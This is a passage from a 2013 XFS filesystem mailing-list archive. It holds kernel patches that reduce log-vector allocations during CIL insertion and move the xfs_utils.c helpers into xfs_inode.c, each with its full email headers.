XFS_PQUOTA_ACTIVE)) +#define XFS_IS_OQUOTA_ON(mp) ((mp)->m_qflags & (XFS_GQUOTA_ACTIVE | \ + XFS_PQUOTA_ACTIVE)) +#define XFS_IS_UQUOTA_ON(mp) ((mp)->m_qflags & XFS_UQUOTA_ACTIVE) +#define XFS_IS_GQUOTA_ON(mp) ((mp)->m_qflags & XFS_GQUOTA_ACTIVE) +#define XFS_IS_PQUOTA_ON(mp) ((mp)->m_qflags & XFS_PQUOTA_ACTIVE) + +/* + * Flags to tell various functions what to do. Not all of these are meaningful + * to a single function. None of these XFS_QMOPT_* flags are meant to have + * persistent values (ie. their values can and will change between versions) + */ +#define XFS_QMOPT_DQALLOC 0x0000002 /* alloc dquot ondisk if needed */ +#define XFS_QMOPT_UQUOTA 0x0000004 /* user dquot requested */ +#define XFS_QMOPT_PQUOTA 0x0000008 /* project dquot requested */ +#define XFS_QMOPT_FORCE_RES 0x0000010 /* ignore quota limits */ +#define XFS_QMOPT_SBVERSION 0x0000040 /* change superblock version num */ +#define XFS_QMOPT_DOWARN 0x0000400 /* increase warning cnt if needed */ +#define XFS_QMOPT_DQREPAIR 0x0001000 /* repair dquot if damaged */ +#define XFS_QMOPT_GQUOTA 0x0002000 /* group dquot requested */ +#define XFS_QMOPT_ENOSPC 0x0004000 /* enospc instead of edquot (prj) */ + +/* + * flags to xfs_trans_mod_dquot to indicate which field needs to be + * modified. + */ +#define XFS_QMOPT_RES_REGBLKS 0x0010000 +#define XFS_QMOPT_RES_RTBLKS 0x0020000 +#define XFS_QMOPT_BCOUNT 0x0040000 +#define XFS_QMOPT_ICOUNT 0x0080000 +#define XFS_QMOPT_RTBCOUNT 0x0100000 +#define XFS_QMOPT_DELBCOUNT 0x0200000 +#define XFS_QMOPT_DELRTBCOUNT 0x0400000 +#define XFS_QMOPT_RES_INOS 0x0800000 + +/* + * flags for dqalloc. + */ +#define XFS_QMOPT_INHERIT 0x1000000 + +/* + * flags to xfs_trans_mod_dquot. + */ +#define XFS_TRANS_DQ_RES_BLKS XFS_QMOPT_RES_REGBLKS +#define XFS_TRANS_DQ_RES_RTBLKS XFS_QMOPT_RES_RTBLKS +#define XFS_TRANS_DQ_RES_INOS XFS_QMOPT_RES_INOS +#define XFS_TRANS_DQ_BCOUNT XFS_QMOPT_BCOUNT +#define XFS_TRANS_DQ_DELBCOUNT XFS_QMOPT_DELBCOUNT +#define XFS_TRANS_DQ_ICOUNT XFS_QMOPT_ICOUNT +#define XFS_TRANS_DQ_RTBCOUNT XFS_QMOPT_RTBCOUNT +#define XFS_TRANS_DQ_DELRTBCOUNT XFS_QMOPT_DELRTBCOUNT + + +#define XFS_QMOPT_QUOTALL \ + (XFS_QMOPT_UQUOTA | XFS_QMOPT_PQUOTA | XFS_QMOPT_GQUOTA) +#define XFS_QMOPT_RESBLK_MASK (XFS_QMOPT_RES_REGBLKS | XFS_QMOPT_RES_RTBLKS) + +#endif /* __XFS_QUOTA_H__ */ -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:25:50 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A2E3F7F89 for ; Fri, 19 Jul 2013 01:25:41 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 23B4FAC00E for ; Thu, 18 Jul 2013 23:25:41 -0700 (PDT) X-ASG-Debug-ID: 1374215132-04cbb04690117c030005-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id tFYv1StbY6YwvqsM for ; Thu, 18 Jul 2013 23:25:39 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAB3b6FF5LK4r/2dsb2JhbABagwbBRgSBFhd0giQBAQUnLzMIGDE5AxsZiA+2L45yhSADqSqDJCo Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:55:34 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V0483-00048B-FP for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V0483-00020K-Du for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 44/49] xfs: Reduce allocations during CIL insertion Date: Fri, 19 Jul 2013 16:25:15 +1000 X-ASG-Orig-Subj: [PATCH 44/49] xfs: Reduce allocations during CIL insertion Message-Id: <1374215120-7271-45-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374215120-7271-1-git-send-email-david@fromorbit.com> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374215139 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Now that we have the size of the object before the formatting pass is called, we can allocation the log vector and it's buffer in a single allocation rather than two separate allocations. Store the size of the allocated buffer in the log vector so that we potentially avoid allocation for future modifications of the object. While touching this code, remove the IOP_FORMAT definition. Signed-off-by: Dave Chinner --- fs/xfs/xfs_log.h | 1 + fs/xfs/xfs_log_cil.c | 94 ++++++++++++++++++++++++++++++---------------------- fs/xfs/xfs_trans.h | 1 - 3 files changed, 56 insertions(+), 40 deletions(-) diff --git a/fs/xfs/xfs_log.h b/fs/xfs/xfs_log.h index e63d9e1..1c45848 100644 --- a/fs/xfs/xfs_log.h +++ b/fs/xfs/xfs_log.h @@ -27,6 +27,7 @@ struct xfs_log_vec { struct xfs_log_item *lv_item; /* owner */ char *lv_buf; /* formatted buffer */ int lv_buf_len; /* size of formatted buffer */ + int lv_size; /* size of allocated lv */ }; #define XFS_LOG_VEC_ORDERED (-1) diff --git a/fs/xfs/xfs_log_cil.c b/fs/xfs/xfs_log_cil.c index 4e10872..08943c8 100644 --- a/fs/xfs/xfs_log_cil.c +++ b/fs/xfs/xfs_log_cil.c @@ -80,6 +80,35 @@ xlog_cil_init_post_recovery( log->l_curr_block); } +STATIC void +xlog_cil_lv_item_format( + struct xfs_log_item *lip, + struct xfs_log_vec *lv) +{ + int index; + char *ptr; + + /* format new vectors into array */ + lip->li_ops->iop_format(lip, lv->lv_iovecp); + + /* copy data into existing array */ + ptr = lv->lv_buf; + for (index = 0; index < lv->lv_niovecs; index++) { + struct xfs_log_iovec *vec = &lv->lv_iovecp[index]; + + memcpy(ptr, vec->i_addr, vec->i_len); + vec->i_addr = ptr; + ptr += vec->i_len; + } + + /* + * some size calculations for log vectors over-estimate, so we'll see + * this as not using the entire buffer here. Hence just check ofr + * overruns on debug kernels. + */ + ASSERT(ptr > lv->lv_buf && ptr <= lv->lv_buf + lv->lv_buf_len); +} + /* * Format log item into a flat buffers * @@ -111,7 +140,7 @@ xlog_cil_prepare_log_vecs( struct xfs_trans *tp) { struct xfs_log_item_desc *lidp; - struct xfs_log_vec *lv = NULL; + struct xfs_log_vec *prev_lv = NULL; struct xfs_log_vec *ret_lv = NULL; @@ -123,12 +152,10 @@ xlog_cil_prepare_log_vecs( list_for_each_entry(lidp, &tp->t_items, lid_trans) { struct xfs_log_item *lip = lidp->lid_item; - struct xfs_log_vec *new_lv; - void *ptr; - int index; - int len = 0; - uint niovecs = 0; - uint nbytes = 0; + struct xfs_log_vec *lv; + int niovecs = 0; + int nbytes = 0; + int buf_size; bool ordered = false; /* Skip items which aren't dirty in this transaction. */ @@ -150,48 +177,39 @@ xlog_cil_prepare_log_vecs( if (niovecs == XFS_LOG_VEC_ORDERED) { ordered = true; niovecs = 0; + nbytes = 0; } - new_lv = kmem_zalloc(sizeof(*new_lv) + - niovecs * sizeof(struct xfs_log_iovec), - KM_SLEEP|KM_NOFS); + /* calc buffer size */ + buf_size = sizeof(struct xfs_log_vec) + nbytes + + niovecs * sizeof(struct xfs_log_iovec); - new_lv->lv_item = lip; - new_lv->lv_niovecs = niovecs; + /* allocate new data chunk */ + lv = kmem_zalloc(buf_size, KM_SLEEP|KM_NOFS); + lv->lv_item = lip; + lv->lv_size = buf_size; + lv->lv_niovecs = niovecs; if (ordered) { /* track as an ordered logvec */ - new_lv->lv_buf_len = XFS_LOG_VEC_ORDERED; - goto next; + ASSERT(lip->li_lv == NULL); + lv->lv_buf_len = XFS_LOG_VEC_ORDERED; + goto insert; } /* The allocated iovec region lies beyond the log vector. */ - new_lv->lv_iovecp = (struct xfs_log_iovec *)&new_lv[1]; - - /* build the vector array and calculate it's length */ - IOP_FORMAT(new_lv->lv_item, new_lv->lv_iovecp); - for (index = 0; index < new_lv->lv_niovecs; index++) - len += new_lv->lv_iovecp[index].i_len; + lv->lv_iovecp = (struct xfs_log_iovec *)&lv[1]; - new_lv->lv_buf_len = len; - new_lv->lv_buf = kmem_alloc(new_lv->lv_buf_len, - KM_SLEEP|KM_NOFS); - ptr = new_lv->lv_buf; - - for (index = 0; index < new_lv->lv_niovecs; index++) { - struct xfs_log_iovec *vec = &new_lv->lv_iovecp[index]; - - memcpy(ptr, vec->i_addr, vec->i_len); - vec->i_addr = ptr; - ptr += vec->i_len; - } - ASSERT(ptr == new_lv->lv_buf + new_lv->lv_buf_len); + /* The allocated data region lies beyond the iovec region */ + lv->lv_buf = (char *)lv + buf_size - nbytes; + lv->lv_buf_len = nbytes; -next: + xlog_cil_lv_item_format(lip, lv); +insert: if (!ret_lv) - ret_lv = new_lv; + ret_lv = lv; else - lv->lv_next = new_lv; - lv = new_lv; + prev_lv->lv_next = lv; + prev_lv = lv; } return ret_lv; @@ -228,7 +246,6 @@ xfs_cil_prepare_item( *len += lv->lv_buf_len - old->lv_buf_len; *diff_iovecs += lv->lv_niovecs - old->lv_niovecs; - kmem_free(old->lv_buf); kmem_free(old); } else { /* new lv, must pin the log item */ @@ -354,7 +371,6 @@ xlog_cil_free_logvec( for (lv = log_vector; lv; ) { struct xfs_log_vec *next = lv->lv_next; - kmem_free(lv->lv_buf); kmem_free(lv); lv = next; } diff --git a/fs/xfs/xfs_trans.h b/fs/xfs/xfs_trans.h index 97144ec..24bbdcd 100644 --- a/fs/xfs/xfs_trans.h +++ b/fs/xfs/xfs_trans.h @@ -77,7 +77,6 @@ struct xfs_item_ops { void (*iop_committing)(xfs_log_item_t *, xfs_lsn_t); }; -#define IOP_FORMAT(ip,vp) (*(ip)->li_ops->iop_format)(ip, vp) #define IOP_PIN(ip) (*(ip)->li_ops->iop_pin)(ip) #define IOP_UNPIN(ip, remove) (*(ip)->li_ops->iop_unpin)(ip, remove) #define IOP_PUSH(ip, list) (*(ip)->li_ops->iop_push)(ip, list) -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:25:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E868E7F6B for ; Fri, 19 Jul 2013 01:25:40 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id A317C8F8033 for ; Thu, 18 Jul 2013 23:25:40 -0700 (PDT) X-ASG-Debug-ID: 1374215134-04bdf0245d189c50003-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id tzpWoj7PmiKpHAhQ for ; Thu, 18 Jul 2013 23:25:37 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ar8LAB3b6FF5LK4r/2dsb2JhbABSCIMGrjqTDAQBgRUXdIIkAQEFGg0vFh0IGDE5AxsZiA+2L45ZBggLgRKEDgOhf4crgyQqgS0 Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:55:31 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V0483-00048a-2D for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V0483-0001yi-1B for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 26/49] xfs: consolidate xfs_utils.c Date: Fri, 19 Jul 2013 16:24:57 +1000 X-ASG-Orig-Subj: [PATCH 26/49] xfs: consolidate xfs_utils.c Message-Id: <1374215120-7271-27-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374215120-7271-1-git-send-email-david@fromorbit.com> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374215137 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner There are a few small helper functions in xfs_util, all related to xfs_inode modifications. Move them all to xfs_inode.c so all xfs_inode operations are consiolidated in the one place. Signed-off-by: Dave Chinner --- fs/xfs/Makefile | 1 - fs/xfs/xfs_error.c | 1 - fs/xfs/xfs_filestream.c | 1 - fs/xfs/xfs_inode.c | 279 ++++++++++++++++++++++++++++++++++++++++- fs/xfs/xfs_inode.h | 7 ++ fs/xfs/xfs_ioctl.c | 1 - fs/xfs/xfs_iomap.c | 1 - fs/xfs/xfs_iops.c | 1 - fs/xfs/xfs_log_recover.c | 1 - fs/xfs/xfs_mount.c | 1 - fs/xfs/xfs_qm.c | 1 - fs/xfs/xfs_qm_syscalls.c | 1 - fs/xfs/xfs_rtalloc.c | 1 - fs/xfs/xfs_super.c | 1 - fs/xfs/xfs_symlink.c | 1 - fs/xfs/xfs_utils.c | 316 ----------------------------------------------- fs/xfs/xfs_utils.h | 27 ---- 17 files changed, 285 insertions(+), 357 deletions(-) delete mode 100644 fs/xfs/xfs_utils.c delete mode 100644 fs/xfs/xfs_utils.h diff --git a/fs/xfs/Makefile b/fs/xfs/Makefile index e5a0758..201c61d 100644 --- a/fs/xfs/Makefile +++ b/fs/xfs/Makefile @@ -53,7 +53,6 @@ xfs-y += xfs_aops.o \ xfs_super.o \ xfs_symlink.o \ xfs_trans.o \ - xfs_utils.o \ xfs_xattr.o \ kmem.o \ uuid.o diff --git a/fs/xfs/xfs_error.c b/fs/xfs/xfs_error.c index 35d3f5b..1123d93f 100644 --- a/fs/xfs/xfs_error.c +++ b/fs/xfs/xfs_error.c @@ -26,7 +26,6 @@ #include "xfs_bmap_btree.h" #include "xfs_dinode.h" #include "xfs_inode.h" -#include "xfs_utils.h" #include "xfs_error.h" #ifdef DEBUG diff --git a/fs/xfs/xfs_filestream.c b/fs/xfs/xfs_filestream.c index d0e8890..ce78e65 100644 --- a/fs/xfs/xfs_filestream.c +++ b/fs/xfs/xfs_filestream.c @@ -28,7 +28,6 @@ #include "xfs_bmap.h" #include "xfs_bmap_util.h" #include "xfs_alloc.h" -#include "xfs_utils.h" #include "xfs_mru_cache.h" #include "xfs_filestream.h" #include "xfs_trace.h" diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index 29d41c4..9db5be7 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -46,7 +46,6 @@ #include "xfs_bmap.h" #include "xfs_bmap_util.h" #include "xfs_error.h" -#include "xfs_utils.h" #include "xfs_quota.h" #include "xfs_filestream.h" #include "xfs_cksum.h" @@ -862,6 +861,284 @@ xfs_ialloc( return 0; } +/* + * Allocates a new inode from disk and return a pointer to the + * incore copy. This routine will internally commit the current + * transaction and allocate a new one if the Space Manager needed + * to do an allocation to replenish the inode free-list. + * + * This routine is designed to be called from xfs_create and + * xfs_create_dir. + * + */ +int +xfs_dir_ialloc( + xfs_trans_t **tpp, /* input: current transaction; + output: may be a new transaction. */ + xfs_inode_t *dp, /* directory within whose allocate + the inode. */ + umode_t mode, + xfs_nlink_t nlink, + xfs_dev_t rdev, + prid_t prid, /* project id */ + int okalloc, /* ok to allocate new space */ + xfs_inode_t **ipp, /* pointer to inode; it will be + locked. */ + int *committed) + +{ + xfs_trans_t *tp; + xfs_trans_t *ntp; + xfs_inode_t *ip; + xfs_buf_t *ialloc_context = NULL; + int code; + uint log_res; + uint log_count; + void *dqinfo; + uint tflags; + + tp = *tpp; + ASSERT(tp->t_flags & XFS_TRANS_PERM_LOG_RES); + + /* + * xfs_ialloc will return a pointer to an incore inode if + * the Space Manager has an available inode on the free + * list. Otherwise, it will do an allocation and replenish + * the freelist. Since we can only do one allocation per + * transaction without deadlocks, we will need to commit the + * current transaction and start a new one. We will then + * need to call xfs_ialloc again to get the inode. + * + * If xfs_ialloc did an allocation to replenish the freelist, + * it returns the bp containing the head of the freelist as + * ialloc_context. We will hold a lock on it across the + * transaction commit so that no other process can steal + * the inode(s) that we've just allocated. + */ + code = xfs_ialloc(tp, dp, mode, nlink, rdev, prid, okalloc, + &ialloc_context, &ip); + + /* + * Return an error if we were unable to allocate a new inode. + * This should only happen if we run out of space on disk or + * encounter a disk error. + */ + if (code) { + *ipp = NULL; + return code; + } + if (!ialloc_context && !ip) { + *ipp = NULL; + return XFS_ERROR(ENOSPC); + } + + /* + * If the AGI buffer is non-NULL, then we were unable to get an + * inode in one operation. We need to commit the current + * transaction and call xfs_ialloc() again. It is guaranteed + * to succeed the second time. + */ + if (ialloc_context) { + /* + * Normally, xfs_trans_commit releases all the locks. + * We call bhold to hang on to the ialloc_context across + * the commit. Holding this buffer prevents any other + * processes from doing any allocations in this + * allocation group. + */ + xfs_trans_bhold(tp, ialloc_context); + /* + * Save the log reservation so we can use + * them in the next transaction. + */ + log_res = xfs_trans_get_log_res(tp); + log_count = xfs_trans_get_log_count(tp); + + /* + * We want the quota changes to be associated with the next + * transaction, NOT this one. So, detach the dqinfo from this + * and attach it to the next transaction. + */ + dqinfo = NULL; + tflags = 0; + if (tp->t_dqinfo) { + dqinfo = (void *)tp->t_dqinfo; + tp->t_dqinfo = NULL; + tflags = tp->t_flags & XFS_TRANS_DQ_DIRTY; + tp->t_flags &= ~(XFS_TRANS_DQ_DIRTY); + } + + ntp = xfs_trans_dup(tp); + code = xfs_trans_commit(tp, 0); + tp = ntp; + if (committed != NULL) { + *committed = 1; + } + /* + * If we get an error during the commit processing, + * release the buffer that is still held and return + * to the caller. + */ + if (code) { + xfs_buf_relse(ialloc_context); + if (dqinfo) { + tp->t_dqinfo = dqinfo; + xfs_trans_free_dqinfo(tp); + } + *tpp = ntp; + *ipp = NULL; + return code; + } + + /* + * transaction commit worked ok so we can drop the extra ticket + * reference that we gained in xfs_trans_dup() + */ + xfs_log_ticket_put(tp->t_ticket); + code = xfs_trans_reserve(tp, 0, log_res, 0, + XFS_TRANS_PERM_LOG_RES, log_count); + /* + * Re-attach the quota info that we detached from prev trx. + */ + if (dqinfo) { + tp->t_dqinfo = dqinfo; + tp->t_flags |= tflags; + } + + if (code) { + xfs_buf_relse(ialloc_context); + *tpp = ntp; + *ipp = NULL; + return code; + } + xfs_trans_bjoin(tp, ialloc_context); + + /* + * Call ialloc again. Since we've locked out all + * other allocations in this allocation group, + * this call should always succeed. + */ + code = xfs_ialloc(tp, dp, mode, nlink, rdev, prid, + okalloc, &ialloc_context, &ip); + + /* + * If we get an error at this point, return to the caller + * so that the current transaction can be aborted. + */ + if (code) { + *tpp = tp; + *ipp = NULL; + return code; + } + ASSERT(!ialloc_context && ip); + + } else { + if (committed != NULL) + *committed = 0; + } + + *ipp = ip; + *tpp = tp; + + return 0; +} + +/* + * Decrement the link count on an inode & log the change. + * If this causes the link count to go to zero, initiate the + * logging activity required to truncate a file. + */ +int /* error */ +xfs_droplink( + xfs_trans_t *tp, + xfs_inode_t *ip) +{ + int error; + + xfs_trans_ichgtime(tp, ip, XFS_ICHGTIME_CHG); + + ASSERT (ip->i_d.di_nlink > 0); + ip->i_d.di_nlink--; + drop_nlink(VFS_I(ip)); + xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); + + error = 0; + if (ip->i_d.di_nlink == 0) { + /* + * We're dropping the last link to this file. + * Move the on-disk inode to the AGI unlinked list. + * From xfs_inactive() we will pull the inode from + * the list and free it. + */ + error = xfs_iunlink(tp, ip); + } + return error; +} + +/* + * This gets called when the inode's version needs to be changed from 1 to 2. + * Currently this happens when the nlink field overflows the old 16-bit value + * or when chproj is called to change the project for the first time. + * As a side effect the superblock version will also get rev'd + * to contain the NLINK bit. + */ +void +xfs_bump_ino_vers2( + xfs_trans_t *tp, + xfs_inode_t *ip) +{ + xfs_mount_t *mp; + + ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); + ASSERT(ip->i_d.di_version == 1); + + ip->i_d.di_version = 2; + ip->i_d.di_onlink = 0; + memset(&(ip->i_d.di_pad[0]), 0, sizeof(ip->i_d.di_pad)); + mp = tp->t_mountp; + if (!xfs_sb_version_hasnlink(&mp->m_sb)) { + spin_lock(&mp->m_sb_lock); + if (!xfs_sb_version_hasnlink(&mp->m_sb)) { + xfs_sb_version_addnlink(&mp->m_sb); + spin_unlock(&mp->m_sb_lock); + xfs_mod_sb(tp, XFS_SB_VERSIONNUM); + } else { + spin_unlock(&mp->m_sb_lock); + } + } + /* Caller must log the inode */ +} + +/* + * Increment the link count on an inode & log the change. + */ +int +xfs_bumplink( + xfs_trans_t *tp, + xfs_inode_t *ip) +{ + xfs_trans_ichgtime(tp, ip, XFS_ICHGTIME_CHG); + + ASSERT(ip->i_d.di_nlink > 0); + ip->i_d.di_nlink++; + inc_nlink(VFS_I(ip)); + if ((ip->i_d.di_version == 1) && + (ip->i_d.di_nlink > XFS_MAXLINK_1)) { + /* + * The inode has increased its number of links beyond + * what can fit in an old format inode. It now needs + * to be converted to a version 2 inode with a 32 bit + * link count. If this is the first inode in the file + * system to do this, then we need to bump the superblock + * version number as well. + */ + xfs_bump_ino_vers2(tp, ip); + } + + xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); + return 0; +} + int xfs_create( xfs_inode_t *dp, diff --git a/fs/xfs/xfs_inode.h b/fs/xfs/xfs_inode.h index 2a63470..4a91358 100644 --- a/fs/xfs/xfs_inode.h +++ b/fs/xfs/xfs_inode.h @@ -360,6 +360,13 @@ void xfs_lock_two_inodes(xfs_inode_t *, xfs_inode_t *, uint); xfs_extlen_t xfs_get_extsz_hint(struct xfs_inode *ip); +int xfs_dir_ialloc(struct xfs_trans **, struct xfs_inode *, umode_t, + xfs_nlink_t, xfs_dev_t, prid_t, int, + struct xfs_inode **, int *); +int xfs_droplink(struct xfs_trans *, struct xfs_inode *); +int xfs_bumplink(struct xfs_trans *, struct xfs_inode *); +void xfs_bump_ino_vers2(struct xfs_trans *, struct xfs_inode *); + /* from xfs_file.c */ int xfs_zero_eof(struct xfs_inode *, xfs_off_t, xfs_fsize_t); int xfs_iozero(struct xfs_inode *, loff_t, size_t); diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c index ce636bf..557c7b8 100644 --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -35,7 +35,6 @@ #include "xfs_bmap.h" #include "xfs_bmap_util.h" #include "xfs_buf_item.h" -#include "xfs_utils.h" #include "xfs_dfrag.h" #include "xfs_fsops.h" #include "xfs_discard.h" diff --git a/fs/xfs/xfs_iomap.c b/fs/xfs/xfs_iomap.c index b04a60f..cf8f744 100644 --- a/fs/xfs/xfs_iomap.c +++ b/fs/xfs/xfs_iomap.c @@ -40,7 +40,6 @@ #include "xfs_attr.h" #include "xfs_buf_item.h" #include "xfs_trans_space.h" -#include "xfs_utils.h" #include "xfs_iomap.h" #include "xfs_trace.h" #include "xfs_icache.h" diff --git a/fs/xfs/xfs_iops.c b/fs/xfs/xfs_iops.c index e0cefd4..24be68d 100644 --- a/fs/xfs/xfs_iops.c +++ b/fs/xfs/xfs_iops.c @@ -36,7 +36,6 @@ #include "xfs_itable.h" #include "xfs_attr.h" #include "xfs_buf_item.h" -#include "xfs_utils.h" #include "xfs_inode_item.h" #include "xfs_trace.h" #include "xfs_icache.h" diff --git a/fs/xfs/xfs_log_recover.c b/fs/xfs/xfs_log_recover.c index fabcc84..0771fa3 100644 --- a/fs/xfs/xfs_log_recover.c +++ b/fs/xfs/xfs_log_recover.c @@ -41,7 +41,6 @@ #include "xfs_extfree_item.h" #include "xfs_trans_priv.h" #include "xfs_quota.h" -#include "xfs_utils.h" #include "xfs_cksum.h" #include "xfs_trace.h" #include "xfs_icache.h" diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c index c0eafbe..7a02d66 100644 --- a/fs/xfs/xfs_mount.c +++ b/fs/xfs/xfs_mount.c @@ -42,7 +42,6 @@ #include "xfs_error.h" #include "xfs_quota.h" #include "xfs_fsops.h" -#include "xfs_utils.h" #include "xfs_trace.h" #include "xfs_icache.h" #include "xfs_cksum.h" diff --git a/fs/xfs/xfs_qm.c b/fs/xfs/xfs_qm.c index e14d53a..6432ebb 100644 --- a/fs/xfs/xfs_qm.c +++ b/fs/xfs/xfs_qm.c @@ -38,7 +38,6 @@ #include "xfs_attr.h" #include "xfs_buf_item.h" #include "xfs_trans_space.h" -#include "xfs_utils.h" #include "xfs_qm.h" #include "xfs_trace.h" #include "xfs_icache.h" diff --git a/fs/xfs/xfs_qm_syscalls.c b/fs/xfs/xfs_qm_syscalls.c index 3521c8b..40b06b5 100644 --- a/fs/xfs/xfs_qm_syscalls.c +++ b/fs/xfs/xfs_qm_syscalls.c @@ -38,7 +38,6 @@ #include "xfs_error.h" #include "xfs_attr.h" #include "xfs_buf_item.h" -#include "xfs_utils.h" #include "xfs_qm.h" #include "xfs_trace.h" #include "xfs_icache.h" diff --git a/fs/xfs/xfs_rtalloc.c b/fs/xfs/xfs_rtalloc.c index 7a445e6..4822806 100644 --- a/fs/xfs/xfs_rtalloc.c +++ b/fs/xfs/xfs_rtalloc.c @@ -35,7 +35,6 @@ #include "xfs_error.h" #include "xfs_inode_item.h" #include "xfs_trans_space.h" -#include "xfs_utils.h" #include "xfs_trace.h" #include "xfs_buf.h" #include "xfs_icache.h" diff --git a/fs/xfs/xfs_super.c b/fs/xfs/xfs_super.c index 980ecab..1a4fc1c 100644 --- a/fs/xfs/xfs_super.c +++ b/fs/xfs/xfs_super.c @@ -40,7 +40,6 @@ #include "xfs_fsops.h" #include "xfs_attr.h" #include "xfs_buf_item.h" -#include "xfs_utils.h" #include "xfs_log_priv.h" #include "xfs_trans_priv.h" #include "xfs_filestream.h" diff --git a/fs/xfs/xfs_symlink.c b/fs/xfs/xfs_symlink.c index 1ce2756..e6facbf 100644 --- a/fs/xfs/xfs_symlink.c +++ b/fs/xfs/xfs_symlink.c @@ -38,7 +38,6 @@ #include "xfs_bmap_util.h" #include "xfs_error.h" #include "xfs_quota.h" -#include "xfs_utils.h" #include "xfs_trans_space.h" #include "xfs_trace.h" #include "xfs_symlink.h" diff --git a/fs/xfs/xfs_utils.c b/fs/xfs/xfs_utils.c deleted file mode 100644 index fde7d22..0000000 --- a/fs/xfs/xfs_utils.c +++ /dev/null @@ -1,316 +0,0 @@ -/* - * Copyright (c) 2000-2002,2005 Silicon Graphics, Inc. - * All Rights Reserved. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write the Free Software Foundation, - * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA - */ -#include "xfs.h" -#include "xfs_fs.h" -#include "xfs_format.h" -#include "xfs_log.h" 